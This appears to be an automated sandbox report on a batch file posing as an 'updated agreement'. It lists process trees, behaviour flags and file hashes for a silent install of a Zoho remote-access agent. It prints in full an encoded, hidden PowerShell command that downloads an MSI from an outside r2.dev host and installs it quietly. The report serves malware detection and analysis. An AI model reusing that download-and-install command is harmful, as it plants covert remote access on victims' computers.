pid Process 4920 ZohoURS.exe 6528 ZohoURS.exe 6528 ZohoURS.exe 6528 ZohoURS.exe - Suspicious use of SendNotifyMessage 1 IoCs
pid Process 6528 ZohoURS.exe - Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 1644 msiexec.exe 4556 msiexec.exe 5552 ZohoURSService.exe 5780 ZohoURS.exe 1312 ZohoURS.exe 5136 ZohoURSService.exe 4920 ZohoURS.exe 6528 ZohoURS.exe 4920 ZohoURS.exe 6528 ZohoURS.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 5680 wrote to memory of 2092 5680 cmd.exe 90 PID 2092 wrote to memory of 4536 2092 net.exe 91 PID 5680 wrote to memory of 5684 5680 cmd.exe 92 PID 5684 wrote to memory of 1644 5684 powershell.exe 94 PID 4556 wrote to memory of 4952 4556 msiexec.exe 96 PID 4952 wrote to memory of 1992 4952 ZADeployer.exe 97 PID 5552 wrote to memory of 1312 5552 ZohoURSService.exe 102 PID 5552 wrote to memory of 5780 5552 ZohoURSService.exe 103 PID 5136 wrote to memory of 4920 5136 ZohoURSService.exe 107 PID 5136 wrote to memory of 6528 5136 ZohoURSService.exe 108
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\NMLSUpdatedAgreementJuly26.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:5680 -
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:2092 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:4536
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAPQAnAFMAdABvAHAAJwAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKACQAdQByAGwAPQAnAGgAdAB0AHAAcwA6AC8ALwBwAHUAYgAtADkANABiAGMAZABiADIAYwAwAGQANQA2ADQANABhADEAOABmADkANwA0AGQAMQA3AGUAZgAzAGUAYQA3ADAAZQAuAHIAMgAuAGQAZQB2AC8AWgBBAF8AQQBjAGMAZQBzAHMAXwBNAHkAXwBEAGUAcABhAHIAdABtAGUAbgB0AC4AbQBzAGkAJwAKACQAdABtAHAAPQBbAEkATwAuAFAAYQB0AGgAXQA6ADoAQwBvAG0AYgBpAG4AZQAoACQAZQBuAHYAOgB3AGkAbgBkAGkAcgAsACcAVABlAG0AcAAnACwAJwBfAF8AcABrAGcAXwAnACsAWwBnAHUAaQBkAF0AOgA6AE4AZQB3AEcAdQBpAGQAKAApAC4AVABvAFMAdAByAGkAbgBnACgAKQArACcALgBtAHMAaQAnACkACgB0AHIAeQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AHIAbAAsACQAdABtAHAAKQB9AGMAYQB0AGMAaAB7AFsAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAC4ATQBlAHMAcwBhAGcAZQBCAG8AeABdADoAOgBTAGgAbwB3ACgAJwBEAG8AdwBuAGwAbwBhAGQAIABmAGEAaQBsAGUAZAA6ACAAJwArACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQAsACcAQgBhAHQARwBlAG4AIABJAG4AcwB0AGEAbABsAGUAcgAnACkAfABPAHUAdAAtAE4AdQBsAGwAOwBlAHgAaQB0ACAAMQB9AAoAaQBmACgALQBuAG8AdAAoAFQAZQBzAHQALQBQAGEAdABoACAAJAB0AG0AcAApACkAewBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARABvAHcAbgBsAG8AYQBkACAAaQBuAGMAbwBtAHAAbABlAHQAZQAgAC0AIABjAGgAZQBjAGsAIAB0AGgAZQAgAFUAUgBMAC4AJwAsACcAQgBhAHQARwBlAG4AIABJAG4AcwB0AGEAbABsAGUAcgAnACkAfABPAHUAdAAtAE4AdQBsAGwAOwBlAHgAaQB0ACAAMQB9AAoAdAByAHkAewAkAHAAPQBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAbQBzAGkAZQB4AGUAYwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABAACgAJwAvAGkAJwAsACQAdABtAHAALAAnAC8AcQBuACcALAAnAC8AbgBvAHIAZQBzAHQAYQByAHQAJwApACAALQBXAGEAaQB0ACAALQBQAGEAcwBzAFQAaAByAHUAOwAkAGMAPQAkAHAALgBFAHgAaQB0AEMAbwBkAGUAfQBjAGEAdABjAGgAewBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAQwBhAG4AbgBvAHQAIABsAGEAdQBuAGMAaAAgAGkAbgBzAHQAYQBsAGwAZQByADoAIAAnACsAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlACsAJwAuACAASQBmACAAeQBvAHUAIABzAGUAZQAgAFQAaABpAHMAIABhAHAAcAAgAGMAYQBuAHQAIAByAHUAbgAgAG8AbgAgAHkAbwB1AHIAIABQAEMAIAB0AGgAZQAgAGkAbgBzAHQAYQBsAGwAZQByACAAaQBzACAAdABoAGUAIAB3AHIAbwBuAGcAIABhAHIAYwBoAGkAdABlAGMAdAB1AHIAZQAgACgAeAA2ADQALwB4ADgANgAvAEEAUgBNADYANAApAC4AJwAsACcAQgBhAHQARwBlAG4AIABJAG4AcwB0AGEAbABsAGUAcgAnACkAfABPAHUAdAAtAE4AdQBsAGwAOwBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAHQAbQBwACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgADAAOwBlAHgAaQB0ACAAMQB9AAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJAB0AG0AcAAgAC0ARgBvAHIAYwBlACAALQBFAEEAIAAwAAoAaQBmACgAJABjACAALQBuAGUAIAAwACAALQBhAG4AZAAgACQAYwAgAC0AbgBlACAAMwAwADEAMAApAHsAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnAEkAbgBzAHQAYQBsAGwAIABmAGEAaQBsAGUAZAAuACAARQB4AGkAdAAgAGMAbwBkAGUAOgAgACcAKwAkAGMALAAnAEIAYQB0AEcAZQBuACAASQBuAHMAdABhAGwAbABlAHIAJwApAHwATwB1AHQALQBOAHUAbABsADsAZQB4AGkAdAAgACQAYwB9AA==2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5684 -
C:\Windows\system32\msiexec.exe"C:\Windows\system32\msiexec.exe" /i C:\Windows\Temp\__pkg_c470e6b4-cb7f-4d89-a017-0f1b2b8d465a.msi /qn /norestart3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1644
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4556 -
C:\Program Files (x86)\ZohoMeeting\UnAttended\ZADeployer.exe"C:\Program Files (x86)\ZohoMeeting\UnAttended\ZADeployer.exe" install2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4952 -
C:\Program Files (x86)\ZohoMeeting\UnAttended\7z.exe"C:\Program Files (x86)\ZohoMeeting\UnAttended\\\7z.exe" x "C:\Program Files (x86)\ZohoMeeting\UnAttended\\\ZohoMeeting.7z" -o"C:\Program Files (x86)\ZohoMeeting\UnAttended\\" -y3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1992
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C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURSService.exe"C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURSService.exe" run -SessionType URS -productID 11⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5552 -
C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURS.exe-productID 1 -URS_REQUEST -wsn assist.zoho.com -check_urs_preferences -urs_pref_timeout 902⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:1312
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C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURS.exe"C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURS.exe" -productID 1 -URS_REQUEST -wsn assist.zoho.com -urs_pref_timeout 902⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5780
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C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZA_Upgrader.exe"C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZA_Upgrader.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3960
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C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURSService.exe"C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURSService.exe" run -SessionType URS -productID 11⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5136 -
C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURS.exe-productID 1 -URS_REQUEST -wsn assist.zoho.com -check_urs_preferences -urs_pref_timeout 902⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4920
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C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURS.exe"C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURS.exe" -productID 1 -URS_REQUEST -wsn assist.zoho.com -urs_pref_timeout 902⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:6528
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Config.Msi\e58c09f.rbs
- Size 35KB
- SHA256 dcb0b768b4391e7a60d8915fd3392e0db487b2d098f1e46cdc61065621916723
- MD5 4bdaebbb92680458805652f56b0cd17e
- SHA1 a0fc4090fab0bb98586eec3da1a3bcc430dbefde
- SHA512 01aecd74fc9bd97f28fec4e1f117e5b8bd5fb3c44a09ca31e40c73a22ab0fd1014d6926c7907a99204ca99e531276c62c4c78ddf80ee5f370453874328ac6f94
- SSDEEP 192:2zKycp8O1TmECHYkDVXIIwkDVXuIJHSNjph:2mHgwkDVAkDV/S1
- TLSH T1A4F2A5067A2192D3E9C64F76D30227963773C6A2D20017DF58FEC920EE57AD46AD82CD
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ZohoMeeting\UnAttended\7z.dll
- Size 1.1MB
- SHA256 25a52dd0a38f58001779b12e84c2937aa52a922a4db9c43fa89214f11a3f4766
- MD5 a8f57d77bac092272792730872a1d8f7
- SHA1 e85d4eb97ed735bbf209c7fbcc8f6d37d70fcb36
- SHA512 bfba966b23292adfe38d2bbc36cae6fce8465ba4f30a7fd8fb4e51aaef5126363b11bc3e352ad267a9a64b18ea083974ce94e431b4cc40238951f9015df4578d
- SSDEEP 24576:Oi6tfenkDGFiGi/7KQNLjoonYynrnJUTqrbL44HdvWZX:O/zDGwGi/7KBynrnaGvn9vWZX
- TLSH T188358D11F7F1C478C98A45308A29ABF550F9E71ACA1068C36BC0FF6E6F31CD6D229959
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ZohoMeeting\UnAttended\7z.exe
- Size 265KB
- SHA256 54353ea62390f3151fc9dd9cadc86694e17d7d75a7ee6e39ca6285fa4bfb7336
- MD5 bf7cf1b380ba84e60ffafd1f5bfcfa78
- SHA1 1bac9e6ede9f6e0971146a27265175c40799c72d
- SHA512 744d2a3234e1a7db5a626ca986b46e1af7367272fb3e6d3cb4f8608cdcf7a51988a934c530ed7d36c7f5c1af678d99fbf004426b317735e1872a855c1a437c25
- SSDEEP 6144:ve/bz8iKQFmDISg2fGsrV5X5gVhUf3nvWZ/6:W/8ihqvg2fGsRt5YhCWZ
- TLSH T18F446C123BF0C57AD6430233CE5D5BE5A0FAA7694D21488367C40E2CEB758D6E369E2D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ZohoMeeting\UnAttended\AssistLogo_white_border_32.ico
- Size 14KB
- SHA256 dd72cc36c3e664913059cc64a852fe673a8b6eb264632fefae20649a27e999d4
- MD5 d669e7bceff12a455fd097dedef847eb
- SHA1 eba799a79331e06d412b8ed81bdacdf1f3a824bb
- SHA512 23ca689e8b076440b9d255782649555d79d227b026ca737fb928a7181bb54b2f6d5331894f10e7e9b5b661e1d23815a4dae7a25918b86352e371f4781e197b42
- SSDEEP 192:jVi4fDR6guVkGFWrktZqlXR/BRVjUXGGNGOF5cMZX4RvJYZ/:jR9xAFWr5lXR/fuL5cMZX4ZJc/
- TLSH T15562B5A43148C266E13902309C7BDCDA4326FCAB5E14D60DFE74B3EF6B76102A559CC1
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZADeployer.exe
- Size 6.5MB
- SHA256 b0c09192bf5925717b7f04a3aeebe22f79389aef7eddb7ed52338d12fb14f9a3
- MD5 e463701fd3b134d71f104465c3314613
- SHA1 5ca865a09522e194d61a76da63ecae3ad9477a78
- SHA512 04700df349ae9254f6b893e21239b34e14007ff9f2e6ec5ab03ad7eabc4e0908131fbd5e72016df48dcd3b3eea08bce57b2ccfd2b363b564736bad54362647c6
- SSDEEP 98304:yPiodODXK+f6BcJ7F6bZ2KZmsZo2HeJDLu9/l3B6kY05fu4G1MT6lNHHMCwt16:yldOm+f63bfyuJ95fqMT6lNHsCwt4
- TLSH T11C66AE11BD42C072D94201705A6DFBFE96BDAE340BB444C757846B297C325D32B3ABAB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting.7z
- Size 25.3MB
- SHA256 4f280714af8dcf5ee85933052a7827ae1e4e7fc840e546d9e3dae45f36b1aeec
- MD5 5cd7c8216b57b1f9c188a032d4a2247c
- SHA1 a86e95ec001cb81402eb19abadade4714d7085e9
- SHA512 7828dc68f1f25fb892aa283c7957f162728c36b4e7f7f49b5a95598b4401e8ae1e87380727e218f2475da64c4765b557bfbc24fb971503a95f6be511d8c1fbda
- SSDEEP 786432:U1Kxjdp8dYSVHdf9UB6I9gInm6mEAacWic:U1KjLGFHUgegIiEhcO
- TLSH T16B4733C84EF8AD47DE9BCCD1D3A22C4AE1F6409FAE78BD5D7724A631A0B6560C334509
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ClientSocket.dll
- Size 3.2MB
- SHA256 d285cbb665349d2a6af7f0c24d2d85f72ab5035a69959d6d9eb31da898343d05
- MD5 7aba984e499418fdc411e5518697b44a
- SHA1 8998f692ae536e2505166df5fba1a33d3c211ab3
- SHA512 38e51c934b371b5c8b770b754880d3b8a0f7466d384a0d405efc5c9e19228b214039b508a4f840ff5124e4207be3d6f9c90cad7e53a745d55afd3f0b955dde66
- SSDEEP 49152:s04wgUVZ+39GdFPF8I2WJtnAgzCPdVXDCfvJWNJSskp:FgU63EdFqI2WrnFzKVzCn
- TLSH T104F5AE13BA83C572DCCE02701566DBBE893A9A10473484D397D47E6A9C731D2273BB6E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\Language\AgentApplicationResources.properties
- Size 15KB
- SHA256 69f4db49ffb502944417b233366031fd1485ca8dcdafcba94730fd1019ea7bc1
- MD5 881634043b58c305a61e5b54d9cff6bc
- SHA1 ca13d174c265fd70d7aeda42577bf99c0f05b314
- SHA512 847b233699a71c0ecc4a5472d732184ba6235f1a33a1f0c0cb5915f345e3203fa1baa222f6bcd2ab4808a2853de5ce8d772f34d61f915030ea49e38c5f80f679
- SSDEEP 384:o1MXwzMj4IQZEqzOiRI7t5kyiQTIzJfUAEz:o1MX2O4IQ2qzOiRI7t5klQTI1fUAEz
- TLSH T1A862835E9699693E47C33503ECF21AA577FE948C9370B0755034D1B8229D388AADF2B3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Settings.conf
- Size 60B
- SHA256 fdd7b9237db53968ea67662b40be859718b4249593346bde3acbbe74f85b228a
- MD5 d4bce2620089e1c7a7df20bb9d21ec77
- SHA1 f46eabf525f1d80c2c2c6b9df677b3db119b1b39
- SHA512 51f65e506600b153d13cb14232df190f6beec57f15030da45710cd598c29fc01b1f6326de52089b8064ba8ef53500392ad66a4d6f2dfbbb77f9b05f195938531
- TLSH T121A0026197878C2671CCF1694D44859557D49519D54148C3545D9E08F1C604861484C0
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ToolsIQ.exe
- Size 465KB
- SHA256 7082baed8924a67f8d5e6e2be7605384793d2bca691168c21b1d9b675d298fb0
- MD5 3860fee3bd36f0bd9d96720e3bcb68a0
- SHA1 95e678f860d53ebdb365add943c691758f5ee252
- SHA512 e963c2f5d370e16b0b7025ce98f210a45236fe47468fb9306f1139da373d348fd543c09110613298ba75a0ef2df0dd638252c0c5b99ee39be1893cae8d7970ba
- SSDEEP 6144:uFiehNFfcCTHgM3HPdu7I2pTSFN1cexxaD3sRSfZsI8inuGYBidIAOqupRmHPiJB:uFieJfAEo7IYeOe492I0GYXY+RmHPY
- TLSH T158A47C1036D2C435E5B256700E79CB66453EBA610F3189DF73C49ABE5E342C1AA32B7B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\URSCredentialProvider64.dll
- Size 548KB
- SHA256 e7be2116ad1fdf0948aae10a96c4c2a125aea8d2a9ebebca47f5f18a0efac054
- MD5 f33b2dec36eb416ee91424d232cfabfc
- SHA1 5cdd48b2f9bdd37102ad5555d6af1e381eb44144
- SHA512 db8750658041edfd0619446717f3d259954ce7d6680f69c8f8b115263ac741b8df58c8bf35d6587da9a18c6af06012f57d68febf1e99bb7a5eab6be560b336a8
- SSDEEP 6144:0X5xlCh2IExYAIWIuhS79F0PAW71TX8zh0+dCJGohDk2bhekeJR:ACh2IEUWIWR1Qzbo9kuQ
- TLSH T13EC4081577E94AA8F1B38A349C728506DA72BC511B71DE9F2380061E1E77FD09E39F22
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZAService.exe
- Size 7.1MB
- SHA256 e170d2480d2b914f1a071d26eef421833122faef24976d7d3df997bbd23a4fb6
- MD5 3e092c7f31f0eec527ab7ec5ea7086dd
- SHA1 4880ee589a68f32f4d32e29427bedcf0a4265da9
- SHA512 9bf72e2f19fd0ba487b3269ed15907fe2456e4a2fb5e55914027b339b8f3247a47754392d7e2daefa20f4767c1294cf47ff1e028ff9c130c6fae74a3184df2b3
- SSDEEP 196608:Gw1yiXi+0cwO4WscHSQCDS0r943CFg4xu72eY2gr:GbGL2Z4SQ272g
- TLSH T1FE76BE127B83C036EDA20171592DEF79847EAD781B7890D7A3C44B2D9D322C35A39B67
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZA_Bulk_Deployment_Manager.exe
- Size 846KB
- SHA256 c0d67305bc438c2810afe2f3f6dd54868f05546ec3afdd3bae8cc813d1d6eded
- MD5 fc3db5e09cc8399a98e1822a6366f6e4
- SHA1 cd43ec1e5896fd064956173b98a19c485c0a0681
- SHA512 a24051fc5285b018556a5b2843273f9cbf7457fc915fd2ddb10eeffd840d1a9380bb28ccc8d71c422f284d028c21d41fafb53f4ab5990e56dbb94adae4aac2da
- SSDEEP 12288:pa/TzqBJ3p+wwFFNJutkdcSKYkqjVnl36ud0zR/6CtQ9PUHIG8D3Kejm5XyFot2i:AnDKYkqjVnlqud+/2P+ANgXyFoBkkA
- TLSH T19405AE8332BA872AE2BAC575D42A01F64BB42D5EA425D7CF598038DDE4B370147237DB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZA_Upgrader.exe
- Size 6.2MB
- SHA256 65840edea17ddc88998ff6ecb8566c50bfabc125a94a7efdc5d1a80af3f018b9
- MD5 a2b8e27fcd6389aa3b4d7e225f0ad065
- SHA1 6f2d56d05ac2208e4bdef015750fea8a79ecf7b5
- SHA512 b5d34db0a8614d9d78085d0af9cc76f6a2db23e2a3367aa1ba1165e6fb9b456e6c01ce10d71eb4fa3378247e7e4f7e06679174ed54a30ef3374479ada12effdc
- SSDEEP 98304:EVfprMhgV8X7A1035qotEFZg4fBEtnYjmDst51T2Mojui396kPAnDarCnH52A:OrMhgV8X7C035Szg4pEktWEkPAnICnA
- TLSH T10366BE127A42C072FD9201719869FBBE807DA9201B7580D3E7D4AF2D59B22D31A35B7F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoTray.exe
- Size 6.5MB
- SHA256 1c26894a4736ddcd96c8b0138471f0f19950d4cf1f99e4008d197548e17aec47
- MD5 910b21b459318b08d17f7757b464b446
- SHA1 400b5cb29e5a77301e7e6c659e8feb794af82f3d
- SHA512 7478906958a91febc4a7a0ec30e59e51d408aab84066fbf26a2f3f11b5bbf02fbdc24d9ccb839586014826417c6632bbc8dddf003830e3a3962c3d9460e2d921
- SSDEEP 196608:dXFaO/Mala2eDGGxKCBjZimBcoMIQd1G+Te9NNB:dTjGDipoMg9
- TLSH T16566AD137E838872ED920171492DFBBA857DBD200B3744C76684AB2F5C722D25A36B77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\agent.exe
- Size 14.5MB
- SHA256 ad3b378b89b0aa5795f31f1f7e71086bdfcbba3fc930e6248bc340d5eb9dffd1
- MD5 39b14d3d752564aedb22e30d6b9b18d4
- SHA1 5e827c44f8f462d99af7beca8445495ffc12d791
- SHA512 f1c200e7611024cd755f23b910238cabc822b734d536d1e3710c496761ca79ab6261978331d6a324e0ec304134801aa9e3548a1d751ea83b28b96b118362c33e
- SSDEEP 196608:kQ2v+SMdW9Cj0d9ZUKNQ3ufFoviMsSnuebQa+Jm+eWxZZxiLmfoIqOQAUOb9wi:g+Su1vJueEaLT2ZZCIqlAUU9wi
- TLSH T19BE60830A6C4D46BE3A31930947C96B6452A7C34EB38A9CF5145BE6E24356E305BCF3E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ZohoMeeting\UnAttended\license.rtf
- Size 51KB
- SHA256 6e29c59f8e107b61d26eca465ea8eaa421998af223496253bacd0c761bb99222
- MD5 645d5ed804598110498214c5193f4202
- SHA1 2048418ec4f159f1dc7b62dd6e969b6219ae779e
- SHA512 f4f750d4a75b3c6839c51a131d7c60a0fdc9362bf54e0ad704c751bdd17e7f384da1ffe906c1b08f25b2b8548770692337edf76785437f252588e974277f25c5
- SSDEEP 768:q1VjB1zmiWut0nN6zEscKHZE8oVojrc9YX:qPzmBnN9+HPoWPcKX
- TLSH T1883320EC114422AAD3A322E1AF1AF0847A2BF92814F1D4E474DFD3BD61BF5ACD172521
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\ZohoMeeting\Proxy.conf
- Size 59B
- SHA256 cde86c1956e6ad3cf88c114acddb9209b509fc20b2506b6c88ba90c8c8a059dc
- MD5 7985af3bc92feb20401798e9eae5ca2a
- SHA1 2f95d82773881461ff01aca9f2dd150fc8adfca5
- SHA512 dd56c45dd50481946951b6db013aa07e3e5eeb1b465538623abc8cd93421d02c41097f00405b2ff903504c9e3706756300f359289ee8b569ab45090438355287
- TLSH T1C6A002BAA9814459117D13C151B400F546D511060621C11DA714720539E748B367102C
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\ZohoMeeting\log\LogFileTray.log
- Size 14KB
- SHA256 75098625211d4be3aa1ff1a1cfcb8af09770ca97b154e217b4bde1f11958cc2b
- MD5 353b8eb8babd0dcbbcd35d7af837b568
- SHA1 fdaa1184e30964722d1092aa9c3bad8b17f928a9
- SHA512 f29e98afff93ed8678d4261f6ac9b7eae6b4e03e6ce7ecfd12a9c04d4af2bf48b2f20e3cc45af033743128fa709ac76192be476fde03ea1978fc2895e383c1e2
- SSDEEP 384:60zW2LbZCnkXUkXwb2gw0VD5ewYIg9yNS/:6dkXUkXxqm
- TLSH T1EE62AEC917655CDF06D8618C9C66A7C29FA39F9228050992B611B3CD83CE481BFFE978
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\ZohoMeeting\log\WsAsyncSocketLog.log
- Size 4KB
- SHA256 3fd8216cd20f1d85bda197c9ebc2c16654a2c4e5011806b799c288156739df28
- MD5 c59fb2b5f13c7d6a56c08455fd1b12d9
- SHA1 351cb532937c4611c3e656ff282e5983d30dcf99
- SHA512 7a6794c2f0091322fa4c86f65b65d938690768924c2a6ef96d86414cab45350deb8af83683b13bd210d947e4237b7aa1f448386fd253181a111ff75351ece55b
- SSDEEP 96:KR/FemvjLu/8MrjfmvjLYrt3Qr9TVG8OBKbzU10XjvXTXRp9iZMtawp4p0kPUSUu:C/Femvm/jHmvAZ3QrxVG8OBKbI10Xjve
- TLSH T1B791BFCAAEB6C8C51E25F062C229ED4AF6A6F606E30D54C27BDD618503534F3E5DD0C8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\ZohoMeeting\log\ZohoURSService.log
- Size 32KB
- SHA256 3f3f4058ca20850c6eaf0183b41801992c2a95e5ba6c9fafd6220105c5e0a2e5
- MD5 5ed13468acb8d96d0d80a93fb04ac140
- SHA1 c28b073cbfcab7bb1965ea2d808eca0b4deb88f8
- SHA512 d380e35ee027af901df911a79423bdc4e022f1ba3290047b7767a0975f9e28b21aa703bfd7aab6c32bc4792d8b9a3485cd20229561c50492285f36f4e4f0d15e
- SSDEEP 768:6YqX4ZdU52fd2SfSXwZmQa3tA6XtQBkX3PZEaS0afSafLRgdS4kXoCEWUXs:6fX6dU52fd2kawm3tA6XykX3PZEaS0aj
- TLSH T16AE212DC19A15CDF069F50D89CA127C6CA93EE130C0904916BA47BCC47DD589BFADAEC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jctqarff.tbd.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
